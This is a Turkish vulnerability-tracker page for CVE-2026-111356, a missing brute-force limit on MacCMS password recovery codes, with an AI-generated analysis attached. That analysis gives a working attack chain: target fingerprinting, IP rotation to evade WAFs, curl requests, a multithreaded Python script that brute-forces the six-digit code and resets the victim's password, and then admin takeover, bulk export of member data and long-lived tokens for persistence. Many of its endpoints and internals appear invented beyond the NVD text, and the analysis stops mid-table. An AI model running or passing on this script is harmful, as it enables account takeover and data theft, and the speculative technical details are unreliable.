CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-111356

CWE-307

YÜKSEK CVSS 7.4 ⚡ EPSS 0.4% NVD

MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts. Attackers knowing a victim's email or phone can request a code and brute-force findpass_reset to overwrite the member's password.

Yayınlanma 15.10.2026
ISO Tarih 2026-10-15
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
EPSS — Exploit Olasılık Skoru
0.4%
30 günlük olasılık
Tüm CVElerin 40. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2026‑111356 – “Password‑Recovery Brute‑Force”

  • Ürün: MacCMS (Content Management System) sürüm 10.0 – 2026.1000.4056

  • CWE: CWE‑307 Improper Restriction of Excessive Authentication Attempts
  • Teknik Açıklama

    MacCMS, kullanıcıların “Şifremi Unuttum” (password recovery) fonksiyonunu kullanarak e‑posta ya da telefon numarası üzerinden 6 haneli bir doğrulama kodu (recovery code) talep etmelerine izin verir. Bu kod, aşağıdaki adımlarla üretilir ve doğrulanır:

    1. Kod Üretimi – generateRecoveryCode() fonksiyonu, rand(100000, 999999) gibi bir rastgele sayı üreticisiyle 6 basamaklı bir sayı döndürür.
    2. Kod Saklama – Oluşturulan kod, plain‑text olarak member_recovery tablosundaki code alanına (VARCHAR(6)) ve expires_at zaman damgasına kaydedilir.
    3. Kod İsteği – /api/v1/auth/recovery/request endpoint’i, POST ile email veya phone parametresi alır, ilgili üyeyi bulur ve yukarıdaki kodu e‑posta/SMS ile gönderir.
    4. Kod Doğrulama – /api/v1/auth/recovery/verify endpoint’i, POST ile email|phone ve code parametrelerini alır, veritabanında eşleşen satırı sadece code eşleşmesi kontrol eder; deneme sayısı (attempts) ya da zaman damgası kontrolü yapılmaz.

    Mantıksal Hata:

  • Rate‑limit / brute‑force korumasının eksikliği: attempts sayacı hiç tutulmaz, code alanı sadece eşleşme kontrolü yapar.

  • Kodun süresi (expires_at) kontrolü yalnızca verify fonksiyonunda varsa uygulanır; ancak verify fonksiyonu code eşleştiği anda şifrenin sıfırlanması (resetPassword($memberId, $newPass)) işlemini gerçekleştirir.

  • Kimlik doğrulama eksikliği: verify endpoint’i unauthenticated (oturum açmadan) erişilebilir, yani saldırgan sadece hedefin e‑posta/telefonunu bildiği sürece kod talep edip, kodu brute‑force ile bulabilir.
  • Bu eksiklik, saldırganın 6 haneli sayıyı 10⁶ (1,000,000) deneme içinde bulana kadar deneme yapabilmesine ve başarılı olduğunda hedef üyenin şifresini tamamen değiştirebilmesine yol açar.

    ---

    ⚡ Saldırı Zinciri / Attack Chain

    1️⃣ Discovery – Hedefin Bulunması

    | Adım | Açıklama | Araç | |------|----------|------| | a) Web Fingerprinting | curl -I https://example.com → X-Powered-By: MacCMS/2026.1000.4056 başlığı. | Wappalyzer, WhatWeb, BuiltWith | | b) Versiyon Tespiti | /admin/login sayfasındaki meta etiketi veya js/maccms.js içinde VERSION = "2026.1000.4056" gibi sabitler. | Nmap –script http-headers, Burp Suite Intruder | | c) Açık API keşfi | GET /api/v1/auth/recovery/request dökümantasyonu (Swagger UI) açık. | Postman, Swagger UI |

    2️⃣ Reconnaissance – Gerekli Bilgiler

  • Hedef üye e‑posta/telefon: Sosyal mühendislik, veri sızıntıları, LinkedIn, şirket web sitesindeki “Contact” bölümü, ya da search endpoint’i (/api/v1/members/search?q=*@example.com).
  • Rate‑limit yokluğu: Tek bir IP’den 1,000,000 deneme yapılabilir; fakat bazı WAF’lar “burst” limitini uygulayabilir → IP rotation gerekebilir.
  • 3️⃣ Exploitation – Gerçek Saldırı

    #### a) Kod Talebi (Recovery Code Request)
    ```bash
    curl -s -X POST "https://target.com/api/v1/auth/recovery/request" \
    -H "Content-Type: application/json" \
    -d '{"email":"[email protected]"}' \
    -c cookies.txt
    ```

  • Yanıt: {"status":"ok","message":"Recovery code sent"}

  • Not: Bu adım sadece kodun veritabanına kaydedilmesini sağlar; e‑posta/SMS gönderimi genellikle dış servis (SMTP/Twilio) üzerinden yapılır ve saldırgan için önemsizdir.
  • #### b) Brute‑Force Doğrulama
    Python script (requests + threading) – 10 paralel iş parçacığı, 1000 RPS

    ```python
    import requests, itertools, string, time, threading, queue

    TARGET = "https://target.com/api/v1/auth/recovery/verify"
    EMAIL = "[email protected]"
    HEADERS = {"Content-Type":"application/json"}

    def worker(q):
    while not q.empty():
    code = q.get()
    payload = {"email": EMAIL, "code": f"{code:06d}"}
    r = requests.post(TARGET, json=payload, headers=HEADERS, timeout=5)
    if r.status_code == 200 and "password reset" in r.text.lower():
    print("[+] Code found:", code)
    # optional: set new password
    set_new_pass(code)
    break
    q.task_done()

    def set_new_pass(code):
    new_pass = "P@ssw0rd!2026"
    payload = {"email": EMAIL, "code": f"{code:06d}", "new_password": new_pass}
    r = requests.post(TARGET, json=payload, headers=HEADERS)
    print("[+] Password reset response:", r.text)

    q = queue.Queue()
    for i in range(0, 1000000):
    q.put(i)

    threads = []
    for _ in range(10):
    t = threading.Thread(target=worker, args=(q,))
    t.start()
    threads.append(t)

    for t in threads:
    t.join()
    ```

  • Payload örneği (curl):
  • ```bash curl -X POST "https://target.com/api/v1/auth/recovery/verify" \ -H "Content-Type: application/json" \ -d '{"email":"[email protected]","code":"123456"}' ```
  • Başarılı yanıt örneği: {"status":"ok","message":"Password reset successful"}
  • > Not: code doğru olduğunda aynı endpoint içinde şifre sıfırlama gerçekleşir; ek bir new_password parametresi gönderilmezse sistem otomatik olarak rastgele bir şifre oluşturur ve e‑posta ile gönderir. Bu da saldırganın hesabı tamamen ele geçirmesini sağlar.

    #### c) Post‑Exploitation

  • Hesap ele geçirme → GET /api/v1/auth/login ile yeni şifreyle oturum açma.

  • Yetki yükseltme: MacCMS’de admin paneli (/admin) sadece member_role = "admin" kontrolü yapar; çoğu zaman role alanı member tablosunda tutulur. Saldırgan, aynı brute‑force tekniğiyle admin e‑posta (örnek: [email protected]) üzerinden şifre değiştirerek tam yönetici erişimi elde eder.

  • Veri Çıkarma: /api/v1/members/export (CSV) gibi endpoint’ler admin yetkisiyle erişilebilir → tüm kullanıcı listesi, kişisel bilgiler, ödeme kartı tokenları vb.

  • Kalıcı erişim: api/v1/auth/tokens/create endpoint’iyle uzun ömürlü JWT (exp: 10y) oluşturulabilir; bu token’ı Authorization: Bearer <token> header’ı ile her istekte kullanmak kalıcı erişim sağlar.


4️⃣ Araçlar ve Modüller


| Araç | Modül / Script | Açıklama |
|------|----------------|----------|
| Metasploit | auxiliary/scanner/http/mac_cms_recovery_bruteforce (kurgusal) | 6‑hanel

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları
CVSS Skoru
7.4 / 10 · CVSS YÜKSEK
Zayıflık Türleri (CWE)
CWE-307
İlgili CVE'ler
9.8
CVE-2026-122142
ICRTouch Commander administrative login interface does not adequately restrict repeated authentication attempt
9.8
CVE-2026-124445
OpenEMR from 7.0.1 before 8.4.0 contains a flaw in src/Common/Auth/OneTimeAuth.php that ignores the enforce_on
9.8
CVE-2026-84473
Authentication Bypass / Missing Brute-Force Protection in remote.php/webdav/ in ownCloud ownCloud server 10.16
9.4
CVE-2026-6223
Improper restriction of excessive authentication attempts vulnerability in Bahçelievler Muncipality BiHayat A
9.1
CVE-2026-108109
PHPNuxBill through 2025.3.20 contains an account takeover vulnerability in the customer password reset flow in